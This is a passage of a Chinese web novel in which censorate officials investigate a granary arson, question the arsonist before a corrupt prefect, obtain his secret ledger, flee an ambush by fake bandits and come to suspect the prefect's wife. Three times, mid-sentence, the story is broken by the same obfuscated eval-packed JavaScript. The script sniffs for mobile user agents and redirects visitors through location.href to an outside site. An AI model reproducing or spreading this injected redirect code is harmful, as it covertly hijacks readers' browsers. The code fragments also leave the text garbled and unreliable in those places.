“是我点的灯笼，村长还特意确认火折子灭了，之后我们又在粮仓检查了一圈，绝对万无一失。”金桐冷静回忆道，“粮仓周围没东西能烧起来，晾晒场的稻谷也是分散开的，便是火折子真的点着了，烧完一堆稻谷也就灭了，火势怎么至于这么快就连成片？” 她觉得这大火来得蹊跷，但有些话不好说得太明白。 “丫头说得有道理啊。”唐叔站出来说道，“村长，您先别自责，这事儿要我说，还得调查之后才能下结论。” 周围想起应和之声，有人说：“前几日狗东西才点了咱们的田，这次肯定也跟他们脱不了干系！” 一说到那几个地主，立刻群情激奋起来，他们默契地给人定了罪，不需要一点儿证据。 金桐劝他们冷静，自己瘸着步子走到粮仓后面，蹲在地上摸了一把，指尖尽是黏腻。 她将手指送到鼻尖闻了闻，道：“是桐油。” “妈的。” 有了证据，村民们更是气愤，一时间咒骂声四起。 村长这会儿也缓过来许多，短短一刻之间，他仿佛苍老了好几岁，声音听起来有气无力：“我一定会查清这件事，如果是有人故意为之，我拼上这条老命也会给大家讨回公道。” 村长这幅模样让人心酸，没人忍心再让他操劳。 “您今天受累了，回去休息几天，看我们自己给自己讨公道。” “对，总不能什么都靠您顶着。”几人应和，“我们自己的账，自己去找他们算！” 纵火之人也许还没离开村子，大家商量着分组行动抓人。 就在此时，身后传来彭昱的声音：“放火的人抓到了！” 33. 问审 张学士做主，让他们在唐叔家留宿。 这一夜金桐睡得不好，连绵的火海席卷了梦境。 在梦中，那场大火没有被扑灭，蔓延到整个村子。 她看见许多熟悉的脸孔在火海中扭曲挣扎，听见虎儿和许多孩子一起扯着嗓子呼喊娘亲。在此起彼伏的呼救声中，她的双腿被钉在了原地，救不了任何一人。 金桐出现在大家面前的时候，眼底一片乌青。 唐叔从外面回来，看见她的样子，愣了一下。 “那人说自己昨天喝多了，什么事都不记得，不知道自己怎么走到咱村的，放火的事他不认。”唐叔恨恨道，“咱们就算告到何太守那儿，也是不了了之。” 这样的事情不是第一次发生了，何太守收了好处，每次都偏帮，最后大事化小，小事化了，只叮嘱他们多加防范。 谁都有打盹儿的时候。再说了，人家有的是法子作贱他们，哪是防得住的？ 金桐气道：“纵火烧粮是大罪。顺河水患，几万人全靠朝廷的赈灾粮勉强生存。” “有人身处水深火热之中，食不果腹；有人为了蝇头小利，将满仓粮食付之一炬。这罪容不得他不认，他不认，总要有人认。” 提及顺河水患，张学士也冷了脸色。 他叫来彭昱和周子衡，吩咐道：“去请何太守过来。” 趁着等待何太守的间隙，他们前往村长家去探望。 村长卧在单薄的床板上，紧闭着双眼，沉重而绵长的呼吸声从他的口鼻中传出，他睡得很熟也很累。 金桐只看了一眼便噤声退出，怕扰了村长休息。 “昨天回来就不太好，夜里醒了好几次，天大亮才真正睡着。” 董壮这么说，想来也是陪村长熬着，一夜未合眼。 现在村长睡下了，他算略微放下心，紧绷的精神终于得以缓解。 唐叔跟他说了张学士派人去请何太守之事，出于对村长身体状况的考虑，商量着不告诉村长，让他好好休息。 董壮点点头，对张学士俯身道：“村子里的事劳您代为做主了。” 他们说话时都尽量压低了声音，长话短说后便离开了。 金桐回望着村长的屋子，眼神中尽是担忧，长久未动。 苏礼明踱步至她身边，低声道：“会好的。” 金桐眼眶一热，飞快地眨了几下眼睛，将泪意忍下去。 经历过昨晚那场大火，金桐心里什么别扭都没有了，与村中的大事相比，她那一丁点儿私人的情绪太过微不足道。 她对苏礼明的态度恢复了正常，苏礼明便也有所感知地回到了她周围。 她牵强地上扬了嘴角，故作轻松应道：“嗯。” 他们没有回唐叔家，直接去了村长日常呆的那处屋子等待。 唐叔一早就安抚好了村民，让他们各家做好各家的事。 眼下他手头没有要紧事，就和张学士他们一同等候。 约莫一个时辰后，彭昱和周子衡带着何太守回来了。 一个照面，何太守便先发制人道：“怎么会有这样的事？学士放心，下官一定尽力彻查。” 他满脸痛惜，仿佛当真对此事不知情一般。 唐叔对他这番说辞嗤之以鼻，但人是张学士请来的，他便没说话，只是将头侧到一旁。 金桐道：“何大人，我们为官者，有些事仅仅‘尽力’是不够的，尤其是纵火烧粮这样的恶性事件，更应该彻查到底，不是吗？” 何太守面色不悦，冷笑一声：“小友是在教导本官为官之道吗？” 他以为金桐至少面上会否认，给彼此一个台阶下，不想金桐却是没接他的话。 张学士道：“先去粮仓看看吧。” 粮仓被大火熏得乌黑，地上的灰烬被唐叔叮嘱过不要打扫，灰突突铺了一层，空气中还能嗅到来自昨夜的焦煳味道。 何太守被引到粮仓后面去看桐油的痕迹。 他身边的守卫捻了一点儿在指间，道：“确实是桐油。” 何太守“嘶”了一声，疑惑道：“看来这场大火确是人祸，只是如何证明桐油是外人洒在这儿的呢？” 彭昱冷笑一声：“太守的意思是说我们监守自盗？” 何太守被呛得一哽。 自打他来到三石村，这些人不感激他就罢，还一而再地给他脸色看。 泥人尚有三分气性，何况他是被人捧惯了的太守？ “本官从未这样说过。”这是他第二次自称本官，“小友这样想实在让人寒心。” 眼看气氛不妙，金桐道：“真相如何还需审过再做定夺。” “请唐叔为太守带路。”金桐侧过身道，“何太守请吧。” 何太守的脾气猝然被打断，一口气哽在胸口好不难受，可若此时再发作倒显得是他气量小。 他想给金桐眼色看，却又看到站在金桐身后的苏礼明。 这种不上不下的感觉真是让他难受至极，从前他几乎从未被人如此施压过。 他长出一口气，跟上去了。 唐叔走在最前，何太守与他带来的守卫走在中间，张学士带着金桐一行人走在最后。 这种前后包夹的队形，仿佛是将何太守当作犯人押送一般。 何太守深刻意识到现在他正处于别人的领地，尽管这些人根本不会对他做什么，他还是产生了一种严重的不安全感。 他们将人关在村中一处废弃的木屋里，为了防止有人潜进村子将他带走，村民自发轮流守在木屋门口。 昨夜之人被带到太守跟前，像条没骨头的软虫一样蜷在地上。 太守竖起眉头：“成何体统？还不松绑？” 两个村民谁也没动，太守的守卫见状便要蹲下去解开绳子，两个村民挪了脚步挡住了他。 “这是何意啊？”何太守沉了声音，说话看似是对着两个村民，实则确实指向了从头到尾一言不发的张学士。 张学士见他的耐性快到底了，便道：“太守说让你们松绑。” 两个村民这才有动作，解了困住纵火之人的绳子。 解开绳子之后那人也还是缩在地上，长时间的捆绑让他四肢僵化，他的眼睛还不能适应正午的阳光，别晃得睁不开眼。 三石村的的村民只管他不死就行，从昨晚到现在不但一点儿吃的都没给过，水也没让他沾到一滴。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868531|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这样也省了去茅房的麻烦。 何太守问道：“我是岭南太守，你如实告诉我，三石村粮仓的大火是不是你放的？” 那人经过宿醉，也不知酒醒了没有，反正看起来意识不算清醒。 “回太守，不是草民，草民什么也不知道。”那人含糊道。 他看似糊涂，在这件事上否认的态度倒是始终如一。 随着他开口说话，干涸的下唇中间裂开了一道口子，血丝从中渗了出来，疼得他嘴角抽动了一下。 “据三石村村民所言，他们与你素不相识，你为何戍时出现在这里？”太守又问道。 那人舔了舔嘴唇，道：“我喝了酒，醉了，迷迷糊糊就走到这了。” 一切都与唐叔早晨转述的说辞一致。 彭昱道：“不对，他被我们抓到的时候不像醉的样子，在田埂底下藏得好着呢，让人发现了还知道跑！” 何太守太守听了彭昱的话，问地上那人道：“他说的可属实？” “可能属实吧，我记不得了。”那人平躺在地上，睁开单只眼睛看彭昱，又闭上，“这个人我不认识。” “你！” 金桐拦下彭昱，道：“黑灯瞎火的，你记不得他也正常。” 她绕着那人走了一圈，然后蹲在地上，盯着他的鞋底，“鞋上的桐油在哪沾的，你记得吗？” 那人的腿下意识往回缩了一下，似是觉得这个举动欲盖弥彰，他又生硬地克制住。 金桐自鼻腔中发出一声轻哼：“想起来了？” “不记得。”那人仍是这个回答，只是照之前相比，显得底气不是那么足了。 金桐又从旁捡起一根树枝拨弄他的手，“你这指缝和指甲里沾的都是什么，是否有个解释呢？” 那人拳头攥紧了拳头，然而大家都已看清，青天白日下他无所遁形。 他口中说的都是显而易见的谎话，再问也没什么意义。 金桐点到为止，不做越俎代庖审问犯人的事。 她只需要要让何太守明白，这个人的话不是无懈可击的就足够了。 “这个人身上诸多疑点，证据表明，他与粮仓大火脱不了干系。”扔掉树枝，金桐拍了拍手，站起身来对何太守道，“对于您的审问，他还满口谎话，企图瞒天过海，简直藐视枉法，行径实在恶劣。” 何太守沉下声音问他：“你在蓄意欺瞒本太守吗？” 那人没说话，但众人能看到他的眼球在眼皮之下飞快转动。 “本太守在问你话。” 何太守的守卫把那人从地上提起来，让他呈跪坐的姿势答太守的话。 那人好像终于意识到了事情的眼中，装睡的双眼也终于睁开，眼底的慌乱出卖了他。 “回太守，草民，草民没有。” “那你鞋底的桐油作何解释？”何太守严辞问道。 “草民，草民……” 他半天也说不出个子丑寅卯。 当着张学士与苏礼明的面，何太守必须给三石村一个交代。 他被架在当中，即便有心也无法保全他。 他最终实在无法，只道：“押送大牢，回去再审。” 34. 回返 在岭南耽误了不少时日，监察院来信询问他们事情进展，若已完成就尽快回返。 张学士他们告别三石村，收拾好行囊，即将启程回返西京。 临别前，何太守带着何盈盈特来相送。 这一趟何太守在他们身上没讨到一点儿好处，唯一的收获就是何盈盈与苏礼明相处得还算不错。 至少在他看来是这样。 何盈盈对金桐有话说，照例拉了苏礼明来当挡箭牌。 何盈盈看似没什么表情，周身却散发着难过的气息。她不想金桐离开，但多年以来隐藏情绪的习惯使她不愿表露出来。 金桐询问了她一些琐事，主要是她何太守对她的态度。 有了苏礼明的名头作庇护，她的处境照原先先比应当会好一些，但这终究不是长久之计，想要帮助何盈盈脱离苦海，还需要另寻他法。 金桐絮絮叨叨叮嘱她很多事，尤其是在他们离开之后不要顶撞何太守，他爱怎么想怎么说就随他去，只当听不见就好。 一切等她回来。 何盈盈呆呆地出神，也不知道听进去了多少。 金桐无奈地捏捏她的手，道：“回去吧。” 何盈盈却突然拉住她的手一把抱住了她。 何太守往这边正好看到这一幕，嫌弃道：“像什么样子。” 何盈盈放开金桐，头也不回地走开了，经过张学士的时候，张学士善意调侃道：“别舍不得了，又不是不回来。” 返程的马车上，金桐迟疑地将手探进衣襟，摸出一本不算厚的本子，是何盈盈趁抱住她时塞进她怀里的。 本子平放在双膝，金桐翻开第一页，瞪大了眼睛。 那是一本账本，似乎还是何太守亲笔所为，里面清晰记录了每一次进账和出账，此刻到了金桐手中，成了最有效指认他贪污和行贿的证据。 “学士。”金桐的声音不稳，“您看这个。” 闭目养神的张学士睁开眼睛，凑过头去看，也被吓了一跳。 “哪来的？” “是何盈盈……” 金桐越想越心惊，何盈盈好大的胆子，一声招呼不打，就这样当着何太守的面送了她一份大礼。 何太守若是发现这么重要的账本遗失，何盈盈面临的会是什么，她不敢想。 “太守，我想留在岭南。” 张学士道：“稍安勿躁，我知道你担心何太守家的小闺女。你好好想想，何太守现在还没发现账本遗失，你没缘由地留下，是不是让他疑心？” “又或者他已经发现账本遗失，却没证据是何盈盈拿的，何盈盈也不会傻到自己承认，你贸然送上门，何太守就能给何盈盈定罪了。” 张学士的话不无道理，金桐道：“是我关心则乱了。” 作为重要证据的账本在几人之中传阅了一番，想到张学士之前避而不谈的事情，周子衡道：“学士，您之前让我们考虑的事情，我已经考虑好了。” “何太守依仗的人是谁？” 张学士问马车中的其他几人：“你们都想好了吗？” 彭昱不甘落后道：“我也想好了。” 金桐亦点头。 彭昱问苏礼明道：“你呢？” 苏礼明本来不必牵扯其中，却因车厢狭小避无可避。 周子衡拍他一巴掌：“苏公子又不是监察院的人，你问他做什么？” “唔，我与大家一样，也考虑清楚了。”苏礼明道。 张学士可不认为苏礼明对他接下来要说的话一无所知，“苏公子说笑了。” “要谈何太守的靠山，就不得不提到他现在的夫人。这位续弦的妻子，面上看是个没背景的孤女，实际上却是太后身边庄嬷嬷名义上的义女。” “即便有这层关联，也不能贸然断定庄嬷嬷包庇何太守的所作所为。庄嬷嬷毕竟是太后身边之人，她若做出这种事情，太后颜面何存？” 张学士道：“你们应该有这样的考量，但我所说事实并非空穴来风。三石村村长说十年前邱监察被紧急召回，你们可知是何人下的命令？” 邱监察那是也只是六品小官，尚未掌握监察院大权，彭昱猜道：“还能是谁？前任监察大人咯？” 张学士摇头，卖了个关子：“没那么简单。” 金桐下意识看向苏礼明，回想起她入职检察院第一天当晚，苏景明提起的那桩辛密。 “可是圣上？” 此言一出，可让彭昱道吸一口凉气，“饭可以乱出，话可不能乱说。” “邱监察得到的诏令正是来自宫中，出自陛下之手。”张学士意外地看着金桐，而后瞬间了然，“定是苏礼明透露给你的。” 苏礼明道：“学士误会了。” “不是你说的？” 张学士半信半疑，转念一想，苏礼明并非爱讲是非之人。便是他果真说了，也断不会不承认。 正因如此，张学士也更加疑惑，金桐到底是如何猜到陛下身上的。 面对好几束好奇的眼光，金桐抬头望天。不是她故作神秘，她总不能说是苏景明背地里讲陛下和邱监察的八卦吧。 苏礼明与她心照不宣，转移话题问道：“知晓陛下召见邱监察回京的人不在少数。” “是啊。”张学士汗颜，“这事在当年引起不小轰动，御史弹劾的折子数月未曾断过，教陛下好生头痛。” 彭昱还没悟出其中关窍，呆呆问道：“邱监察那时还只是六品官员吧，陛下这般是为何啊？” 周子衡不忍直视地别开脸，问张学士道：“可是这些与何太守背后之人有和关联？” 张学士道：“依你们看来，陛下此举是在维护邱监察？” “难道不是吗？”彭昱当即反问。 张学士自然不会凭空有此一问，定然话中有话，周子衡思索道：“陛下是在维护邱监察不假，同时也在维护何太守背后之人。” “他紧急召回邱监察，中断邱监察的下一步行动，实则是为了怕两人真的对上。” 张学士满意地点头，露出一个孺子可教的眼神。 彭昱也开始转动脑筋， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868532|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “能得陛下亲自下场维护的人可不多啊。难道真的……真的和太后身边的庄嬷嬷有关？” “可是这样也不对啊。庄嬷嬷再有资历，也只是一个嬷嬷而已，怎么就值得陛下这样相护？” “这就是另外一件事了。”张学士说到这里不由得压低了声音，“陛下不是太后亲生，只是在太后亲子夭折后过继到名下的，庄嬷嬷确实从闺中就伺候在太后身边的。” “这么多年的主仆情谊，从闺阁小姐，到皇后，再到太后，个中艰辛也只有她们二人知晓啊。陛下在太后心中的分量，与庄嬷嬷在太后心中的分量，孰轻孰重还不好说。” 虽然张学士是这么说的，但堂堂天子竟与一个嬷嬷作比，孰轻孰重已经一目了然了。 太后不是皇帝生母，却也尽职尽责地将他培养成一代君王。他能荣登宝座，当年还是皇后的太后，以及其母家在背后出了多少力，皇帝清楚洞悉。 他与太后之间，是比母子之情更为复杂沉重的感情。亲情与恩情相融混合，使皇帝待太后之心，不是亲子更胜亲子，皇帝至孝举世闻名。 也因为这样错综复杂的情感，皇帝绝对不会做出令太后伤心之事，只要庄嬷嬷没有谋反的意图，皇帝就绝不会动她分毫。 金桐叹出一口气，将大逆不道的话吞回腹中。 她无法赞同皇帝的孝道，觉得皇帝行事有些优柔寡断。世上之事，对就是对，错就是错。 尽孝是对，庄嬷嬷贪赃是错。包庇庄嬷嬷以尽孝心，也无法把错的强掰成对的。 太后身为曾经的国母，若是知晓身边之人如此行事，即便念着旧情，也不会置百姓于不顾，更不会仅凭私心就一味包庇她。 皇帝这样做，实是将太后看低了。 “太后始终不知道庄嬷嬷的行径吧？”金桐问道。 张学士道：“应是不知，陛下有意纵容隐瞒，哪个人敢闹到太后眼前去让太后知道？况且这几年太后年岁大了，深居简出，想见太后一面谈何容易？便是见了，也要先从庄嬷嬷眼前过。” “我认为这样不对。”金桐道，“连邱监察也没办法让太后知道这事吗？” 听到这个问题，张学士开始支吾，“邱监察还真做不到。” “为何？”金桐疑惑道。 在她心中，既有能力又有一腔孤勇敢于对抗陛下的人，邱监察算其中之一。 “太后对邱监察有些偏见，具体我不会说，你们也莫要问了。总之，邱监察求见太后，一定会吃闭门羹。” “这事难啊。”彭昱苦着脸道，“我怎么觉着，这是一不小心就会掉脑袋的大事？” 顺着陛下的心意，就对不起百姓与自己的良心良心。 站在百姓与良心一边，就是摆明了要和陛下作对。 年轻的学子尚未经历过风浪，从没料到要在如此早的时候在忠君与爱民之间做出选择。 周子衡无情道：“你现在才明白过来也不算迟，现在退出也来得及。” 彭昱沉默一瞬，赌上未卜的前途，咬牙道：“不退。” 35. 遇险 张学士笑笑，把账本归还给金桐，道：“证物你收好，回去跟邱监察汇报。” “是。” 金桐指尖刚触碰到账本，马车忽然一阵急停，随车而行的侍卫发出一阵躁动。 “什么情况？”彭昱伸手想要掀开帘子，被苏礼明制止。 金桐少见苏礼明面色严肃的样子，顿感情况不妙，食指比在唇前，示意他们安静。 苏礼明右手摸上佩剑，将车帘挑开一道缝隙，从缝隙往外看去，马车前面拦了一队骑马的人。 他们各个头上围着布巾，须发杂乱，形容十分不修边幅。但□□大马却毛色油量，膘肥体壮，处处显露出违和。 苏礼明轻轻放下帘子，道：“是流寇。” 金桐道：“我们走的是官道，怎么会遇上流寇？” 正因为他们走的是官道，放松了警惕，没带太多侍卫，此时面对流寇他们不占优势。 张学士道：“自从顺河水患以来，这批流寇作乱已久。他们倒也聪明，只图财不害命，朝廷便未把他们放在眼里，没腾出手来收拾他们，今日却让咱们撞上了。” “不过不用怕，他们要钱，尽管给他们就是，不必因为一点儿钱财跟他们发生冲突。” 只图财的话他们就安心了许多，仅岭南三位地主孝敬的就有近百两黄金，大不了给他们就是。 张学士开导他们的话起了些作用，彭昱和周子衡的脸色好了很多。 金桐却无法放松下来，从离开岭南，她的右眼皮一直跳个不停，没多久就在官道遇上流寇，她总觉着事情没那么简单。 人在心神不宁的时候目光总是会下意识寻找信任的人，她眼神不自觉地便看向苏礼明，苏礼明深沉凝望着她，目光晦暗。 眼皮跳得更厉害了。 经过这段时间的观察，周子衡是个踏实沉稳的人，张学士便让他下车和流寇交涉，尽量避免走到刀剑相向的那一步。 周子衡领命，越过金桐下了马车。 车帘掀起的瞬间，苏礼明的身体往前偏了偏，挡住了金桐的视线，待他坐正，车帘已经落了下来，将外面阻挡得严严实实。 她不解地盯着苏礼明的侧脸，苏礼明似有所感，偏头无辜的回看她，仿佛刚才遮挡她视线的人不是他一样。 彭昱紧张得直搓手，嘴里碎碎念着：“不知道周子衡一个人行不行，学士，不如让金桐下去看看吧，我觉得这种交涉还是金桐更擅长。” 张学士横他一眼：“你怎么不去？” “我倒是想，也得您放心才行。”彭昱惭愧道，“我知道自己几斤几两。” “我下去看看。”金桐说着就起身，被苏礼明一手按下。 掌心的热度透过布料，传到金桐肩膀的皮肤，烫得她一抖。她试着移动肩膀，苏礼明嵌着她的手没用多大力道，她却怎么也甩不掉。 他们二人相处虽不拘小节，但这样无缘由的肢体接触金桐难免觉得不自在。 肩膀的灼热逐渐沿着脖颈蔓延到耳尖，霞色连成一片，金桐羞恼地瞪着苏礼明。 “放手。” 苏礼明盯着金桐红透的耳尖看了一会儿，从善如流地收回了手。 金桐低着头不再说话，她连呼吸都是灼热的。她不知道苏礼明今日怎么回事，行为举止处处透着怪异。 车厢就那么大，彭昱见证全程，看着红透的金桐，轻咳一声，好心给金桐解围：“马车里还挺热。” 金桐绝望地闭上了眼，心道张学士让周子衡下车交涉还真是有远见。 张学士笑他：“你少说两句吧。” 不多时，周子衡掀帘回来，金桐见他如见救星。 “情况如何？”她问道。 周子衡道：“和张学士说的一样，他们干的不是要命的生计。只要我们交钱便可放行。” “这么简单？”金桐下意识问道。 周子衡听她这话倒笑了，他们之间日渐熟络，偶尔也会开开玩笑，周子衡问道：“怎么好像你还挺失望的？” “也没有。” 金桐失笑，自嘲多心，能顺利通行自是最好，她把自己怪异的感受压下去，决定不给大家造成恐慌。 三个匣子，每个里面都装着三十两黄金，张学士指着中间的匣子道：“这个给他们。” 这钱虽说不是好道来的，但真要拱手送人，还真舍不得。三十两黄金于他们而言不是小数目，顺河水患也等着用钱，这钱对整个检察院都大有用处。 张学士看出来，对他摆摆手，让他赶快拿走：“权当破财免灾。” 周子衡肉疼地捧着匣子出去了。 金桐的心稍微放回了肚子里，只是她还没安心太久，就听外面起了争执声，接着就是兵刃相接的金属声。 周子衡慌慌张张地回到车上，道：“他们要搜车，外面打起来了。” 张学士猝然对车夫下达命令：“往回走。” 车夫得令立刻调转马车，混乱的厮杀声被甩在身后。 “我有种不好的感觉。”金桐不安道，“这群流寇出现得太蹊跷，什么流寇会胆大到来官道拦路？” “他们拿了三十两黄金还不速速离开……”金桐迟疑地说出了最坏的猜测：“实在不像流寇作风，也许他们只是伪装成流寇，所图并非钱财，而是冲我们来的。” 不止是金桐，其他人也有这种想法，并且对于这件事的幕后主使者，大家心里都有一个统一的人选。 好一招祸水东引。 “我们和流寇碰上的时间刚巧是离开岭南地界后。”周子衡道，“他倒把自己摘得干净。” 苏礼明冷静道：“侍卫撑不了多久，稍后你们先走，我来断后。” “不行。”金桐第一个不同意，“八名侍卫都拦不下的人，你还想凭一人拦下吗？” 但她也知道苏礼明说得有道理，被假流寇追上是迟早的事，他们不能坐以待毙，必须要找出破局的办法。 “何太守真的有胆子暗杀朝廷命官吗？” 这件事还是太离奇了。 何太守油滑贪腐，又爱拜高踩低，完全小人行径。但也正因如此，截杀他们的这个决定太武断冒险，与他展现出的本性相悖。 何太府对他们的态度不似作伪，一定还有被他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16868533|191821||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们忽略的地方。 “金桐。”张学士严肃道，“马车停下后，你和苏公子速速驾马离开。” 金桐瞪大双眼，“我拒绝。” 张学士厉声道：“本学士的安排还容不得你拒绝。” 金桐强迫自己冷静，道：“学士，我们还没到这一步，一定还有别的办法。” 张学士道：“没有别的办法，他们的目标就是你，你走了他们不会拿我们怎么样。” “他们的目标是我？”金桐觉得自己听不懂张学士的话了。 张学士对苏礼明道：“苏公子也是这么认为的吧？” 金桐看向苏礼明，苏礼明则点了点头。 苏礼明道：“你与我一起走，我保证张学士他们绝对不会有危险。” 他们每多说一句话就少一份逃脱的机会，张学士不给金桐继续犹豫的时间，喝道：“停车！” 马车停下来，张学士不容分说把金桐推到苏礼明怀里，恳切道：“一切就仰仗苏公子了。” 苏礼明拔剑斩断缰绳，利落翻身上马，对还在状况外的金桐伸出了手。 金桐将手搭在他掌心，他一用力，金桐便被提起，回过神已经坐在他身前。 “驾！” 苏礼明不再耽搁，纵马疾驰。 扑面而来的风使人清醒，金桐在马背上回头大喊：“学士，你们一定要保重！” 金桐从未有过骑马的经历，很快禁受不住剧烈的颠簸，开始东倒西歪，好在她被苏礼明两条胳膊圈着，不至于从马背掉下去。 她努力挺直后背，却根本无法坐直，数次往前扑去。 苏礼明的声音从身后传来：“靠着我。” 金桐闻言将身体往后倾，结结实实地靠了过去，颠簸中，金桐的背一次次地撞击在苏礼明的胸膛上。有了苏礼明作支撑，她坐得不那么吃力，也稳当多了。 “我们要回岭南？”她从风中找回自己的声音。 “嗯。”苏礼明不需要多大声说话，胸腔的震颤给了她回答。 最危险的地方就是最安全的地方。不管是不是何太守想要她的命，只要她在岭南，何太守只会尽全力保护她。她因公来此，一旦出了事情，何太守必将首当其冲遭受问责。 尽管她觉得幕后黑手另有其人。 当下没心思去考虑那么多，金桐整颗心都系在张学士他们的安危上。 忽然前方迎面而来一对人马，金桐心脏倏然收紧。前有豺狼后有虎豹，天意让她无法脱困。 金桐摸着放在胸口的账本，随时准备把它交给苏礼明。 她向后贴紧苏礼明，怕他听不到自己的声音。 “我们不能两个人都被困住，张学士他们还在等待救援。既然他们的目标是我，逃不脱便把我留下。” 苏礼明没说话，却将马驱使得更快了。他单手拉着缰绳，另一只手握住了剑柄。 他们正以最快的速度逼近千方人马，对方也一字散开，如临大敌，在双方逼近的过程中，金桐忽然留意到领头之人的肤色，黑亮黑亮的。 同样肤色的人她两个月前也曾见过一个。 36. 求援 苏礼明也认出了前面的人，金桐明显感觉到马匹的速度降了下来，只是苏礼明的手仍谨慎地搭在腰间。 临到近前，苏礼明猛地勒马，马蹄高高扬起。 金桐倚靠着苏礼明宽厚的胸膛，也挡不住骤然袭来的天旋地转，她忍不住惊呼出声。若没有苏礼明在身后挡着，她必须会被掀到马下。 “苏公子，苏小姐，又见面了。”黑皮汉子主动对他们招呼道，“何事走得这么急？” 他还记得苏礼明和金桐的假身份，但现在金桐没时间跟他解释了。 他们的队伍占了大半道路，金桐惊魂未定道：“人命关天，劳驾让让。” 黑皮汉子让手下往两侧散开，“怎么回事？” “前面有拦路的流寇，我们的同伴遇险，我们要去岭南找太守求救。”金桐长话短说，“时间紧迫，告辞。” 一路纵马疾行至太守府，苏礼明先行下马，后抱金桐下来。 甫一落地，金桐便直奔太守府大门，却被门口两个护卫挡下。 “让开，我是监察院金桐，有要事找何太守。” 两个护卫冷着脸，长刀交错在她面前，半步不让。 “太守不在府内。” “他去哪了？”金桐心急问道。 护卫答：“不知。” 金桐又道：“我是你家小姐好友，请替我通报一声。” “小姐与太守一起走的，此时也不在府内。” 联络不上何太守和何盈盈，金桐无法调动巡军，金桐忽然想到另一个人。 “你家夫人总该在府里了吧，请带我去见她。” “不……” 护卫刚要否认，就被金桐打断：“你家夫人身怀六甲，定是不便出行。但凡我还有别的法子绝不会惊扰夫人，此事人命关天，出了事情谁也担待不起，请二位慎思而行。” 金桐半是请求半是威慑，两个护卫仍无动于衷，显然早已有人对他们交代过。 眼看软的不行，金桐后退到苏礼明身边，道：“只能硬闯了。” 两个护卫如临大敌，却也拦不住他们二人的脚步，苏礼明带着金桐长驱直入，太守府一时间混乱嘈杂。 他们穿过两道院门，正欲继续深入，却见从月洞门中一位夫人款款走出。她一手撑着腰，一手搭在身旁嬷嬷的腕上，身后还跟着两个小丫鬟。 根据她微微隆起的腹部，便可知是太守府未曾打过照面的女主人张婉。 张婉虽是何盈盈名义上的母亲，模样却没比何盈盈大几岁。 “二位是？” 张婉皱眉看着把太守府搅得鸡飞狗跳的金桐和苏礼明，语气不悦。 金桐上前两步，“我是检察院学生金桐。” 又转向苏礼明道：“这位是国公府的苏公子。” 张婉道：“似是有印象，可据我所知，你们与张学士已经离开岭南，何故回返呢？” 停四下扫视一圈，府中奴仆皆面色惶恐，“……闹成这个样子，可是我夫君有何招待不周之处？” 她说着，膝盖轻轻弯了下去，“我代夫君向二位致歉。” 金桐连忙回礼，接着便切入正题：“我们的马车遇上了流寇，张学士他们陷险境，恳请夫人速派人救援。” 张婉一声惊呼，往后跌了两步，嬷嬷一手撑住她后腰，帮她站稳。 她道：“我这就跟你们去。” 这着实把金桐吓了一跳，张婉怀胎超过三个月，过了最危险的时期，胎相已经安稳下来，但仍有诸多不便之处，更不能受到惊吓。 金桐没想到她的反应竟这般大，担忧道：“夫人仔细身子。此事不需夫人亲自过去，派一个说得上话的人去调巡军，余下的事情便不劳烦。” “这样也好。”张婉问嬷嬷，“钥匙可带着了？” 嬷嬷点头。 张婉道：“二位在此稍等，我去取夫君书房里的令牌。” 张婉这一去，半天未曾回返。金桐体量她带着身子行动迟缓，却也实在等得心焦。 张婉把小丫鬟留在这，金桐没法子，只得求助于她：“劳烦为我们引路去书房，这样也免得夫人来回折返。” 小丫鬟低头道：“书房重地仅夫人可以自由来去。没有老爷的许可，谁也不能进去。” “我们只在外面等着，绝不进去。” 小丫鬟想了想，道：“你们随我来。” 他们赶到书房的时候，看见张婉身边的嬷嬷站在墙下。 心中怪异的感觉再一次浮上来，金桐过去问道：“你家夫人进去多久了？” “有一阵了，二位别急。”嬷嬷不慌不忙答道。 金桐打量嬷嬷的神色。 不对，哪里都不对。 回顾过往一切线索，电光火石间，金桐从杂乱的思绪中捋出来清晰的一段，一切怪异的感觉都有了答案。 从主人家到仆从，全都太从容了，从容得好像一切都是安排好的。 金桐始终觉得以何太守的心性，做不出这样杀伐果决的决断。他只敢从规矩的漏洞中谋求小利，买凶杀人是极度危险的一步棋，他没这么大的胆子，也从未在和自己相处的时候展现出杀意。 假流寇背后的主使另有其人，也是最被她忽视的一个人。 何太守的夫人，张婉。 他们在岭南期间，张婉从未露过面。他们与她毫无交集，也谈不上利益牵扯。 方才是金桐与张婉的初次见面，这个女子的身上有一种淡淡的柔和的气质，任谁见了都会不自觉地心生亲近，金桐也不例外。 